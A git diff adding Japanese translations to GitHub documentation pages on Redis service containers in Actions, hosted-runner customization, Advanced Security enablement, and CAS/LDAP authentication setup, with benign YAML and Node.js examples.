-        # Set health checks to wait until redis has started
+        # redisが起動するまで待つヘルスチェックの設定
         options: >-
           --health-cmd "redis-cli ping"
           --health-interval 10s
@@ -68,29 +68,29 @@ jobs:
           --health-retries 5
 
     steps:
-      # Downloads a copy of the code in your repository before running CI tests
+      # CIテストの実行前にリポジトリからコードのコピーをダウンロード
       - name: Check out repository code
         uses: actions/checkout@v2
 
-      # Performs a clean installation of all dependencies in the `package.json` file
-      # For more information, see https://docs.npmjs.com/cli/ci.html
+      # `package.json`ファイル内のすべての依存関係のクリーンインストールの実行
+      # 詳しい情報についてはhttps://docs.npmjs.com/cli/ci.htmlを参照
       - name: Install dependencies
         run: npm ci
 
       - name: Connect to Redis
-        # Runs a script that creates a Redis client, populates
-        # the client with data, and retrieves data
+        # Redisクライアントを作成し、クライアントにデータを展開し、
+        # データを取り出すスクリプトを実行
         run: node client.js
-        # Environment variable used by the `client.js` script to create a new Redis client.
+        # `client.js`スクリプトが新しいRedisクライアントを作成するのに使う環境変数
         env:
-          # The hostname used to communicate with the Redis service container
+          # Redisサービスコンテナとの通信に使われるホスト名
           REDIS_HOST: redis
-          # The default Redis port
+          # デフォルトのRedisポート
           REDIS_PORT: 6379
 ```
 {% endraw %}
 
-### Configuring the container job
+### コンテナジョブの設定
 
 {% data reusables.github-actions.service-container-host %}
 
@@ -98,20 +98,20 @@ jobs:
 
 ```yaml{:copy}
 jobs:
-  # Label of the container job
+  # コンテナジョブのラベル
   container-job:
-    # Containers must run in Linux based operating systems
+    # コンテナはLinuxベースのオペレーティングシステム内で実行しなければならない
     runs-on: ubuntu-latest
-    # Docker Hub image that `container-job` executes in
+    # `container-job`が実行されるDocker Hubのイメージ
     container: node:10.18-jessie
 
-    # Service containers to run with `container-job`
+    # `container-job`と実行されるサービスコンテナ
     services:
-      # Label used to access the service container
+      # サービスコンテナへのアクセスに使われるラベル
       redis:
-        # Docker Hub image
+        # Docker Hubのイメージ
         image: redis
-        # Set health checks to wait until redis has started
+        # redisが起動するまで待つヘルスチェックの設定
         options: >-
           --health-cmd "redis-cli ping"
           --health-interval 10s
@@ -119,40 +119,40 @@ jobs:
           --health-retries 5
 ```
 
-### Configuring the steps
+### ステップの設定
 
 {% data reusables.github-actions.service-template-steps %}
 
 ```yaml{:copy}
 steps:
-  # Downloads a copy of the code in your repository before running CI tests
+  # CIテストの実行前にリポジトリのコードのコピーをダウンロード
   - name: Check out repository code
     uses: actions/checkout@v2
 
-  # Performs a clean installation of all dependencies in the `package.json` file
-  # For more information, see https://docs.npmjs.com/cli/ci.html
+  # `package.json`ファイル中のすべての依存関係のクリーンインストールの実行
+  # 詳しい情報については https://docs.npmjs.com/cli/ci.html を参照
   - name: Install dependencies
     run: npm ci
 
   - name: Connect to Redis
-    # Runs a script that creates a Redis client, populates
-    # the client with data, and retrieves data
+    # Redisクライアントを作成し、クライアントにデータを展開し、
+    # データを取り出すスクリプトを実行
     run: node client.js
-    # Environment variable used by the `client.js` script to create a new Redis client.
+    # `client.js`スクリプトが新しいRedisクライアントを作成する際に利用する環境変数
     env:
-      # The hostname used to communicate with the Redis service container
-      REDIS_HOST: redis
-      # The default Redis port
-      REDIS_PORT: 6379
+          # Redisサービスコンテナとの通信に使われるホスト名
+          REDIS_HOST: redis
+          # デフォルトのRedisポート
+          REDIS_PORT: 6379
 ```
 
 {% data reusables.github-actions.redis-environment-variables %}
 
-The hostname of the Redis service is the label you configured in your workflow, in this case, `redis`. Because Docker containers on the same user-defined bridge network open all ports by default, you'll be able to access the service container on the default Redis port 6379.
+Redisサービスのホスト名は、ワークフロー中で設定されたラベルで、ここでは`redis`です。 同じユーザー定義ブリッジネットワーク上のDockerコンテナは、デフォルトですべてのポートをオープンするので、サービスコンテナにはデフォルトのRedisのポートである6379でアクセスできます。
 
-## Running jobs directly on the runner machine
+## ランナーマシン上で直接のジョブの実行
 
-When you run a job directly on the runner machine, you'll need to map the ports on the service container to ports on the Docker host. You can access service containers from the Docker host using `localhost` and the Docker host port number.
+ランナーマシン上で直接ジョブを実行する場合、サービスコンテナ上のポートをDockerホスト上のポートにマップしなければなりません。 Dockerホストからサービスコンテナへは、`localhost`とDockerホストのポート番号を使ってアクセスできます。
 
 {% data reusables.github-actions.copy-workflow-file %}
 
@@ -162,129 +162,129 @@ name: Redis runner example
 on: push
 
 jobs:
-  # Label of the runner job
+  # ランナージョブのラベル
   runner-job:
-    # You must use a Linux environment when using service containers or container jobs
+    # サービスコンテナもしくはコンテナジョブを使う際にはLinux環境を使わなければならない
     runs-on: ubuntu-latest
 
-    # Service containers to run with `runner-job`
+    # `runner-job`と実行されるサービスコンテナ
     services:
-      # Label used to access the service container
+      # サービスコンテナへのアクセスに使われるラベル
       redis:
-        # Docker Hub image
+        # Docker Hubのイメージ
         image: redis
-        # Set health checks to wait until redis has started
+        # redisが起動するまで待つヘルスチェックの設定
         options: >-
           --health-cmd "redis-cli ping"
           --health-interval 10s
           --health-timeout 5s
           --health-retries 5
         ports:
-          # Maps port 6379 on service container to the host
+          # サービスコンテナのポート6379をホストにマップ
           - 6379:6379
 
     steps:
-      # Downloads a copy of the code in your repository before running CI tests
+      # CIテストの実行前にリポジトリのコードのコピーをダウンロード
       - name: Check out repository code
         uses: actions/checkout@v2
 
-      # Performs a clean installation of all dependencies in the `package.json` file
-      # For more information, see https://docs.npmjs.com/cli/ci.html
+      # `package.json`ファイル内のすべての依存関係のクリーンインストールの実行
+      # 詳しい情報についてはhttps://docs.npmjs.com/cli/ci.htmlを参照
       - name: Install dependencies
         run: npm ci
 
       - name: Connect to Redis
-        # Runs a script that creates a Redis client, populates
-        # the client with data, and retrieves data
+        # Redisクライアントを作成し、クライアントにデータを展開し、
+        # データを取り出すスクリプトを実行
         run: node client.js
-        # Environment variable used by the `client.js` script to create
-        # a new Redis client.
+        # `client.js`スクリプトが新しいRedisクライアントを作成するのに
+        # 使う環境変数
         env:
-          # The hostname used to communicate with the Redis service container
+          # Redisサービスコンテナとの通信に使われるホスト名
           REDIS_HOST: localhost
-          # The default Redis port
+          # デフォルトのRedisポート
           REDIS_PORT: 6379
 ```
 {% endraw %}
 
-### Configuring the runner job
+### ランナージョブの設定
 
 {% data reusables.github-actions.service-container-host-runner %}
 
 {% data reusables.github-actions.redis-label-description %}
 
-The workflow maps port 6379 on the Redis service container to the Docker host. For more information about the `ports` keyword, see "[About service containers](/actions/automating-your-workflow-with-github-actions/about-service-containers#mapping-docker-host-and-service-container-ports)."
+このワークフローはRedisサービスコンテナ上のポート6379をDockerホストにマップします。 `ports`キーワードに関する詳しい情報については「[サービスコンテナについて](/actions/automating-your-workflow-with-github-actions/about-service-containers#mapping-docker-host-and-service-container-ports)」を参照してください。
 
 ```yaml{:copy}
 jobs:
-  # Label of the runner job
+  # ランナージョブのラベル
   runner-job:
-    # You must use a Linux environment when using service containers or container jobs
+    # サービスコンテナもしくはコンテナジョブを使う際にはLinux環境を使わなければならない
     runs-on: ubuntu-latest
 
-    # Service containers to run with `runner-job`
+    # `runner-job`と実行するサービスコンテナ
     services:
-      # Label used to access the service container
+      # サービスコンテナへのアクセスに使うラベル
       redis:
-        # Docker Hub image
+        # Docker Hubのイメージ
         image: redis
-        # Set health checks to wait until redis has started
+        # redisが起動するまで待つヘルスチェックの設定
         options: >-
           --health-cmd "redis-cli ping"
           --health-interval 10s
           --health-timeout 5s
           --health-retries 5
         ports:
-          # Maps port 6379 on service container to the host
+          # サービスコンテナ上のポート6379をホストにマップ
           - 6379:6379
 ```
 
-### Configuring the steps
+### ステップの設定
 
 {% data reusables.github-actions.service-template-steps %}
 
 ```yaml{:copy}
 steps:
-  # Downloads a copy of the code in your repository before running CI tests
+  # CIテストの実行前にリポジトリのコードのコピーをダウンロード
   - name: Check out repository code
     uses: actions/checkout@v2
 
-  # Performs a clean installation of all dependencies in the `package.json` file
-  # For more information, see https://docs.npmjs.com/cli/ci.html
+  # `package.json`ファイル中のすべての依存関係のクリーンインストールの実行
+  # 詳しい情報については https://docs.npmjs.com/cli/ci.html を参照
   - name: Install dependencies
     run: npm ci
 
   - name: Connect to Redis
-    # Runs a script that creates a Redis client, populates
-    # the client with data, and retrieves data
+    # Redisクライアントを作成し、クライアントにデータを展開し、
+    # データを取り出すスクリプトを実行
     run: node client.js
-    # Environment variable used by the `client.js` script to create
-    # a new Redis client.
+    # `client.js`スクリプトが新しいRedisクライアントを作成する際に
+    # 利用する環境変数
     env:
-      # The hostname used to communicate with the Redis service container
-      REDIS_HOST: localhost
-      # The default Redis port
-      REDIS_PORT: 6379
+          # Redisサービスコンテナとの通信に使われるホスト名
+          REDIS_HOST: localhost
+          # デフォルトのRedisポート
+          REDIS_PORT: 6379
 ```
 
 {% data reusables.github-actions.redis-environment-variables %}
 
 {% data reusables.github-actions.service-container-localhost %}
 
-## Testing the Redis service container
+## Redisサービスコンテナのテスト
 
-You can test your workflow using the following script, which creates a Redis client and populates the client with some placeholder data. The script then prints the values stored in the Redis client to the terminal. Your script can use any language you'd like, but this example uses Node.js and the `redis` npm module. For more information, see the [npm redis module](https://www.npmjs.com/package/redis).
+ワークフローを以下のスクリプトでテストできます。このスクリプトはRedisクライアントを作成し、いくつかのプレースホルダーデータをクライアントに展開します。 そしてこのスクリプトは、Redisクライアント内に保存された値をターミナルに出力します。 スクリプトには好きな言語を使えますが、この例ではNode.jsとnpmモジュールの`redis`を使っています。 詳しい情報については[npm redisモジュール](https://www.npmjs.com/package/redis)を参照してください。
 
-You can modify *client.js* to include any Redis operations needed by your workflow. In this example, the script creates the Redis client instance, adds placeholder data, then retrieves the data.
+*client.js*を修正して、ワークフローで必要なRedisの操作を含めることができます。 この例では、スクリプトはRedisクライアントのインスタンスを作成し、プレースホルダーデータを追加し、そしてそのデータを取り出します。
 
 {% data reusables.github-actions.service-container-add-script %}
 
 ```javascript{:copy}
 const redis = require("redis");
 
-// Creates a new Redis client
-// If REDIS_HOST is not set, the default host is localhost
-// If REDIS_PORT is not set, the default port is 6379
+// 新しいRedisクライアントの作成
+// REDIS_HOSTが設定されていなければ、デフォルトのホストはlocalhost
+// REDIS_PORTが設定されていなければ、デフォルトのポートは6379
 const redisClient = redis.createClient({
   host: process.env.REDIS_HOST,
   port: process.env.REDIS_PORT  
@@ -294,15 +294,15 @@ redisClient.on("error", function(err) {
     console.log("Error " + err);
 });
 
-// Sets the key "octocat" to a value of "Mona the octocat"
+// キー"octocat"に"Mona the octocat"という値を設定
 redisClient.set("octocat", "Mona the Octocat", redis.print);
-// Sets a key to "octocat", field to "species", and "value" to "Cat and Octopus"
+// キーを"octocat"、フィールドを"species"、"value"を"Cat and Octopus"に設定
 redisClient.hset("species", "octocat", "Cat and Octopus", redis.print);
-// Sets a key to "octocat", field to "species", and "value" to "Dinosaur and Octopus"
+// キーを"octocat"、フィールドを"species"、"value"を"Dinosaur and Octopus"に設定
 redisClient.hset("species", "dinotocat", "Dinosaur and Octopus", redis.print);
-// Sets a key to "octocat", field to "species", and "value" to "Cat and Robot"
+// キーを"octocat"、フィールドを"species"、 "value"を"Cat and Robot"に設定
 redisClient.hset(["species", "robotocat", "Cat and Robot"], redis.print);
-// Gets all fields in "species" key
+// キー"species"のすべてのフィールドを取得
 
 redisClient.hkeys("species", function (err, replies) {
     console.log(replies.length + " replies:");
@@ -313,11 +313,11 @@ redisClient.hkeys("species", function (err, replies) {
 });
 ```
 
-The script creates a new Redis client using the `createClient` method, which accepts a `host` and `port` parameter. The script uses the `REDIS_HOST` and `REDIS_PORT` environment variables to set the client's IP address and port. If `host` and `port` are not defined, the default host is `localhost` and the default port is 6379.
+このスクリプトは新しいRedisクライアントを`createClient`メソッドを使って作成します。これは、パラメーターとして`host`と`port`を受け付けます。 スクリプトは環境変数の`REDIS_HOST`と`REDIS_PORT`を使って、クライアントのIPアドレスとポートを設定します。 `host`と`port`が定義されていない場合、デフォルトのホストは`localhost`で、デフォルトのポートは6379になります。
 
-The script uses the `set` and `hset` methods to populate the database with some keys, fields, and values. To confirm that the Redis client contains the data, the script prints the contents of the database to the console log.
+このスクリプトは、`set`及び`hset`メソッドを使ってデータベースにいくつかのキー、フィールド、値を展開します。 Redisデータベースがデータを含んでいることを確認するために、スクリプトはデータベースの内容をコンソールログに出力します。
 
-When you run this workflow, you should see the following output in the "Connect to Redis" step confirming you created the Redis client and added data:
+このワークフローを実行すると、"Connect to Redis"ステップで以下のように出力され、Redisのクライアントが作成され、データが追加されたことが確認できます。
 
 ```
 Reply: OK
diff --git a/translations/ja-JP/content/actions/using-github-hosted-runners/customizing-github-hosted-runners.md b/translations/ja-JP/content/actions/using-github-hosted-runners/customizing-github-hosted-runners.md
index 6ba1c04fcd..b845610a8b 100644
--- a/translations/ja-JP/content/actions/using-github-hosted-runners/customizing-github-hosted-runners.md
+++ b/translations/ja-JP/content/actions/using-github-hosted-runners/customizing-github-hosted-runners.md
@@ -12,7 +12,7 @@ shortTitle: Customize runners
 
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-If you require additional software packages on {% data variables.product.prodname_dotcom %}-hosted runners, you can create a job that installs the packages as part of your workflow. 
+If you require additional software packages on {% data variables.product.prodname_dotcom %}-hosted runners, you can create a job that installs the packages as part of your workflow.
 
 To see which packages are already installed by default, see "[Preinstalled software](/actions/using-github-hosted-runners/about-github-hosted-runners#preinstalled-software)."
 
@@ -42,7 +42,7 @@ jobs:
 
 {% note %}
 
-**Note:** Always run `sudo apt-get update` before installing a package. In case the `apt` index is stale, this command fetches and re-indexes any available packages, which helps prevent package installation failures. 
+**Note:** Always run `sudo apt-get update` before installing a package. In case the `apt` index is stale, this command fetches and re-indexes any available packages, which helps prevent package installation failures.
 
 {% endnote %}
 
diff --git a/translations/ja-JP/content/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise.md b/translations/ja-JP/content/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise.md
index d2d205a75c..36f5a8456f 100644
--- a/translations/ja-JP/content/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise.md
+++ b/translations/ja-JP/content/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise.md
@@ -21,7 +21,7 @@ topics:
 {% ifversion ghes > 3.0 %}
 When you enable {% data variables.product.prodname_GH_advanced_security %} for your enterprise, repository administrators in all organizations can enable the features unless you set up a policy to restrict access. For more information, see "[Enforcing policies for {% data variables.product.prodname_advanced_security %} in your enterprise](/admin/policies/enforcing-policies-for-advanced-security-in-your-enterprise)."
 {% else %}
-When you enable {% data variables.product.prodname_GH_advanced_security %} for your enterprise, repository administrators in all organizations can enable the features. {% ifversion ghes = 3.0 %}For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" and "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)."{% endif %}
+When you enable {% data variables.product.prodname_GH_advanced_security %} for your enterprise, repository administrators in all organizations can enable the features. {% ifversion ghes = 3.0 %}詳しい情報については、「[Organization のセキュリティおよび分析設定を管理する](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)」と「[リポジトリのセキュリティと分析設定を管理する](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)」を参照してください。{% endif %}
 {% endif %}
 
 {% ifversion ghes %}
@@ -34,15 +34,13 @@ For guidance on a phased deployment of GitHub Advanced Security, see "[Deploying
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.license-tab %}
-1. If your license includes {% data variables.product.prodname_GH_advanced_security %}, the license page includes a section showing details of current usage.
-![{% data variables.product.prodname_GH_advanced_security %} section of Enterprise license](/assets/images/help/billing/ghas-orgs-list-enterprise-ghes.png)
+1. If your license includes {% data variables.product.prodname_GH_advanced_security %}, the license page includes a section showing details of current usage. ![{% data variables.product.prodname_GH_advanced_security %} section of Enterprise license](/assets/images/help/billing/ghas-orgs-list-enterprise-ghes.png)
 {% endif %}
 
 {% ifversion ghes = 3.0 %}
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
-1. If your license includes {% data variables.product.prodname_GH_advanced_security %}, there is an **{% data variables.product.prodname_advanced_security %}** entry in the left sidebar.
-![Advanced Security sidebar](/assets/images/enterprise/management-console/sidebar-advanced-security.png)
+1. If your license includes {% data variables.product.prodname_GH_advanced_security %}, there is an **{% data variables.product.prodname_advanced_security %}** entry in the left sidebar. ![[Advanced Security] サイドバー](/assets/images/enterprise/management-console/sidebar-advanced-security.png)
 
 {% data reusables.enterprise_management_console.advanced-security-license %}
 {% endif %}
@@ -56,7 +54,7 @@ For guidance on a phased deployment of GitHub Advanced Security, see "[Deploying
 
     - {% data variables.product.prodname_code_scanning_capc %}, see "[Configuring {% data variables.product.prodname_code_scanning %} for your appliance](/admin/advanced-security/configuring-code-scanning-for-your-appliance#prerequisites-for-code-scanning)."
     - {% data variables.product.prodname_secret_scanning_caps %}, see "[Configuring {% data variables.product.prodname_secret_scanning %} for your appliance](/admin/advanced-security/configuring-secret-scanning-for-your-appliance#prerequisites-for-secret-scanning)."{% endif %}
-    - {% data variables.product.prodname_dependabot %}, see "[Enabling the dependency graph and {% data variables.product.prodname_dependabot_alerts %} on your enterprise account](/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account)." 
+    - {% data variables.product.prodname_dependabot %}, see "[Enabling the dependency graph and {% data variables.product.prodname_dependabot_alerts %} on your enterprise account](/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account)."
 
 ## Enabling and disabling {% data variables.product.prodname_GH_advanced_security %} features
 
@@ -67,19 +65,18 @@ For guidance on a phased deployment of GitHub Advanced Security, see "[Deploying
 {% data reusables.enterprise_management_console.advanced-security-tab %}{% ifversion ghes %}
 1. Under "{% ifversion ghes < 3.2 %}{% data variables.product.prodname_advanced_security %}{% else %}Security{% endif %}," select the features that you want to enable and deselect any features you want to disable.
 {% ifversion ghes > 3.1 %}![Checkbox to enable or disable {% data variables.product.prodname_advanced_security %} features](/assets/images/enterprise/3.2/management-console/enable-security-checkboxes.png){% else %}![Checkbox to enable or disable {% data variables.product.prodname_advanced_security %} features](/assets/images/enterprise/management-console/enable-advanced-security-checkboxes.png){% endif %}{% else %}
-1. Under "{% data variables.product.prodname_advanced_security %}," click **{% data variables.product.prodname_code_scanning_capc %}**.
-![Checkbox to enable or disable {% data variables.product.prodname_code_scanning %}](/assets/images/enterprise/management-console/enable-code-scanning-checkbox.png){% endif %}
+1. [{% data variables.product.prodname_advanced_security %}] で、[**{% data variables.product.prodname_code_scanning_capc %}**] をクリックします。 ![Checkbox to enable or disable {% data variables.product.prodname_code_scanning %}](/assets/images/enterprise/management-console/enable-code-scanning-checkbox.png){% endif %}
 {% data reusables.enterprise_management_console.save-settings %}
 
-When {% data variables.product.product_name %} has finished restarting, you're ready to set up any additional resources required for newly enabled features. For more information, see "[Configuring {% data variables.product.prodname_code_scanning %} for your appliance](/admin/advanced-security/configuring-code-scanning-for-your-appliance)."
+When {% data variables.product.product_name %} has finished restarting, you're ready to set up any additional resources required for newly enabled features. 詳しい情報については「[アプライアンスのための{% data variables.product.prodname_code_scanning %}の設定](/admin/advanced-security/configuring-code-scanning-for-your-appliance)」を参照してください。
 
 ## Enabling or disabling {% data variables.product.prodname_GH_advanced_security %} features via the administrative shell (SSH)
 
-You can enable or disable features programmatically on {% data variables.product.product_location %}. For more information about the administrative shell and command-line utilities for {% data variables.product.prodname_ghe_server %}, see "[Accessing the administrative shell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)" and "[Command-line utilities](/admin/configuration/command-line-utilities#ghe-config)."
+You can enable or disable features programmatically on {% data variables.product.product_location %}. {% data variables.product.prodname_ghe_server %} の管理シェルおよびコマンドラインユーティリティの詳細については、「[管理シェル (SSH) へのアクセス](/admin/configuration/accessing-the-administrative-shell-ssh)」および「[コマンドラインユーティリティ](/admin/configuration/command-line-utilities#ghe-config)」を参照してください。
 
 For example, you can enable any {% data variables.product.prodname_GH_advanced_security %} feature with your infrastructure-as-code tooling when you deploy an instance for staging or disaster recovery.
 
-1. SSH into {% data variables.product.product_location %}.
+1. {% data variables.product.product_location %}にSSHでアクセスしてください。
 1. Enable features for {% data variables.product.prodname_GH_advanced_security %}.
 
     - To enable {% data variables.product.prodname_code_scanning_capc %}, enter the following commands.
@@ -118,7 +115,7 @@ For example, you can enable any {% data variables.product.prodname_GH_advanced_s
     ghe-config app.github.dependency-graph-enabled false
     ghe-config app.github.vulnerability-alerting-and-settings-enabled false
     ```{% endif %}
-3. Apply the configuration.
+3. 設定を適用します。
     ```shell
     ghe-config-apply
     ```
diff --git a/translations/ja-JP/content/admin/advanced-security/index.md b/translations/ja-JP/content/admin/advanced-security/index.md
index 9bb979a9eb..3aa86775a7 100644
--- a/translations/ja-JP/content/admin/advanced-security/index.md
+++ b/translations/ja-JP/content/admin/advanced-security/index.md
@@ -18,3 +18,4 @@ children:
   - /overview-of-github-advanced-security-deployment
   - /deploying-github-advanced-security-in-your-enterprise
 ---
+
diff --git a/translations/ja-JP/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/disabling-unauthenticated-sign-ups.md b/translations/ja-JP/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/disabling-unauthenticated-sign-ups.md
index 3711fe5ef6..f148f16d14 100644
--- a/translations/ja-JP/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/disabling-unauthenticated-sign-ups.md
+++ b/translations/ja-JP/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/disabling-unauthenticated-sign-ups.md
@@ -1,11 +1,11 @@
 ---
-title: Disabling unauthenticated sign-ups
+title: 認証のないサインアップの無効化
 redirect_from:
   - /enterprise/admin/articles/disabling-sign-ups
   - /enterprise/admin/user-management/disabling-unauthenticated-sign-ups
   - /enterprise/admin/authentication/disabling-unauthenticated-sign-ups
   - /admin/authentication/disabling-unauthenticated-sign-ups
-intro: 'If you''re using built-in authentication, you can block unauthenticated people from being able to create an account.'
+intro: ビルトイン認証を使っている場合、認証されていない人がアカウントを作成するのをブロックできます。
 versions:
   ghes: '*'
 type: how_to
@@ -15,9 +15,9 @@ topics:
   - Enterprise
 shortTitle: Block account creation
 ---
+
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.privacy %}
-3. Unselect **Enable sign-up**.
-![Enable sign-up checkbox](/assets/images/enterprise/management-console/enable-sign-up.png)
+3. **Enable sign-up（サインアップの有効化）**の選択を外してください。 ![[Enable sign-up] チェックボックス](/assets/images/enterprise/management-console/enable-sign-up.png)
 {% data reusables.enterprise_management_console.save-settings %}
diff --git a/translations/ja-JP/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/index.md b/translations/ja-JP/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/index.md
index 5d51187af0..bab734d399 100644
--- a/translations/ja-JP/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/index.md
+++ b/translations/ja-JP/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/index.md
@@ -1,6 +1,6 @@
 ---
-title: Authenticating users for your GitHub Enterprise Server instance
-intro: 'You can use {% data variables.product.prodname_ghe_server %}''s built-in authentication, or choose between CAS, LDAP, or SAML to integrate your existing accounts and centrally manage user access to {% data variables.product.product_location %}.'
+title: GitHub Enterprise Server インスタンスでユーザを認証する
+intro: '{% data variables.product.prodname_ghe_server %} のビルトイン認証を使うか、CAS、LDAP、SAML のいずれかを選択して既存のアカウントを統合し、{% data variables.product.product_location %} へのユーザアクセスを集中管理できます。'
 redirect_from:
   - /enterprise/admin/categories/authentication
   - /enterprise/admin/guides/installation/user-authentication
diff --git a/translations/ja-JP/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-cas.md b/translations/ja-JP/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-cas.md
index b1276f2de7..f72bfafc88 100644
--- a/translations/ja-JP/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-cas.md
+++ b/translations/ja-JP/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-cas.md
@@ -1,12 +1,12 @@
 ---
-title: Using CAS
+title: CASの利用
 redirect_from:
   - /enterprise/admin/articles/configuring-cas-authentication
   - /enterprise/admin/articles/about-cas-authentication
   - /enterprise/admin/user-management/using-cas
   - /enterprise/admin/authentication/using-cas
   - /admin/authentication/using-cas
-intro: 'CAS is a single sign-on (SSO) protocol for multiple web applications. A CAS user account does not take up a {% ifversion ghes %}user license{% else %}seat{% endif %} until the user signs in.'
+intro: 'CAS は、複数の Web アプリケーションのためのシングルサインオン (SSO) プロトコルです。 CASのユーザアカウントは、ユーザがサインインするまで{% ifversion ghes %}ユーザライセンス{% else %}シート{% endif %}を消費しません。'
 versions:
   ghes: '*'
 type: how_to
@@ -17,9 +17,10 @@ topics:
   - Identity
   - SSO
 ---
+
 {% data reusables.enterprise_user_management.built-in-authentication %}
 
-## Username considerations with CAS
+## CASでのユーザ名についての考慮
 
 {% data reusables.enterprise_management_console.username_normalization %}
 
@@ -28,25 +29,24 @@ topics:
 {% data reusables.enterprise_user_management.two_factor_auth_header %}
 {% data reusables.enterprise_user_management.external_auth_disables_2fa %}
 
-## CAS attributes
+## CASの属性
 
-The following attributes are available.
+以下の属性が利用できます。
 
-| Attribute name           | Type     | Description |
-|--------------------------|----------|-------------|
-| `username`               | Required | The {% data variables.product.prodname_ghe_server %} username. |
+| 属性名    | 種類 | 説明                                                       |
+| ------ | -- | -------------------------------------------------------- |
+| `ユーザ名` | 必須 | {% data variables.product.prodname_ghe_server %} のユーザ名 |
 
-## Configuring CAS
+## CASの設定
 {% warning %}
 
-**Warning:** Before configuring CAS on {% data variables.product.product_location %}, note that users will not be able to use their CAS usernames and passwords to authenticate API requests or Git operations over HTTP/HTTPS. Instead, they will need to [create an access token](/enterprise/{{ currentVersion }}/user/articles/creating-an-access-token-for-command-line-use).
+**警告：**{% data variables.product.product_location %}でCASを設定するまでは、ユーザはCASのユーザ名とパスワードをAPIリクエストの認証やHTTP/HTTPS経由のGit操作に使えないことに注意してください。 その代わりに、ユーザは[アクセストークンを作成](/enterprise/{{ currentVersion }}/user/articles/creating-an-access-token-for-command-line-use)しなければなりません。
 
 {% endwarning %}
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.authentication %}
-3. Select **CAS**.
-![CAS select](/assets/images/enterprise/management-console/cas-select.png)
-4. {% data reusables.enterprise_user_management.built-in-authentication-option %} ![Select CAS built-in authentication checkbox](/assets/images/enterprise/management-console/cas-built-in-authentication.png)
-5. In the **Server URL** field, type the full URL of your CAS server. If your CAS server uses a certificate that can't be validated by {% data variables.product.prodname_ghe_server %}, you can use the `ghe-ssl-ca-certificate-install` command to install it as a trusted certificate.
+3. **CAS**を選択してください。 ![CAS の選択](/assets/images/enterprise/management-console/cas-select.png)
+4. {% data reusables.enterprise_user_management.built-in-authentication-option %} ![CAS ビルトイン認証の選択チェックボックス](/assets/images/enterprise/management-console/cas-built-in-authentication.png)
+5. **Server URL（サーバのURL）**フィールドにCASサーバの完全なURLを入力してください。 CAS サーバが {% data variables.product.prodname_ghe_server %} が検証できない証明書を使っているなら、`ghe-ssl-ca-certificate-install` を使えばその証明書を信頼済みの証明書としてインストールできます。
diff --git a/translations/ja-JP/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-ldap.md b/translations/ja-JP/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-ldap.md
index 77d922b9e8..d246564b66 100644
--- a/translations/ja-JP/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-ldap.md
+++ b/translations/ja-JP/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-ldap.md
@@ -1,5 +1,5 @@
 ---
-title: Using LDAP
+title: LDAPの利用
 redirect_from:
   - /enterprise/admin/articles/configuring-ldap-authentication
   - /enterprise/admin/articles/about-ldap-authentication
@@ -9,7 +9,7 @@ redirect_from:
   - /enterprise/admin/user-management/using-ldap
   - /enterprise/admin/authentication/using-ldap
   - /admin/authentication/using-ldap
-intro: 'LDAP lets you authenticate {% data variables.product.prodname_ghe_server %} against your existing accounts and centrally manage repository access. LDAP is a popular application protocol for accessing and maintaining directory information services, and is one of the most common protocols used to integrate third-party software with large company user directories.'
+intro: 'LDAP を使えば、既存のアカウントに対して {% data variables.product.prodname_ghe_server %} を認証させることができ、リポジトリへのアクセスを集中管理できます。 LDAPはディレクトリ情報サービスへのアクセスと管理のための広く使われているアプリケーションプロトコルで、大企業のユーザディレクトリとサードパーティのソフトウェアを統合するために使われている最も一般的なプロトコルの1つです。'
 versions:
   ghes: '*'
 type: how_to
@@ -19,11 +19,12 @@ topics:
   - Enterprise
   - Identity
 ---
+
 {% data reusables.enterprise_user_management.built-in-authentication %}
 
-## Supported LDAP services
+## サポートされているLDAPサービス
 
-{% data variables.product.prodname_ghe_server %} integrates with these LDAP services:
+{% data variables.product.prodname_ghe_server %} は、以下の LDAP サービスと統合できます:
 
 * Active Directory
 * FreeIPA
@@ -32,7 +33,7 @@ topics:
 * Open Directory
 * 389-ds
 
-## Username considerations with LDAP
+## LDAPでのユーザ名についての考慮
 
 {% data reusables.enterprise_management_console.username_normalization %}
 
@@ -41,153 +42,150 @@ topics:
 {% data reusables.enterprise_user_management.two_factor_auth_header %}
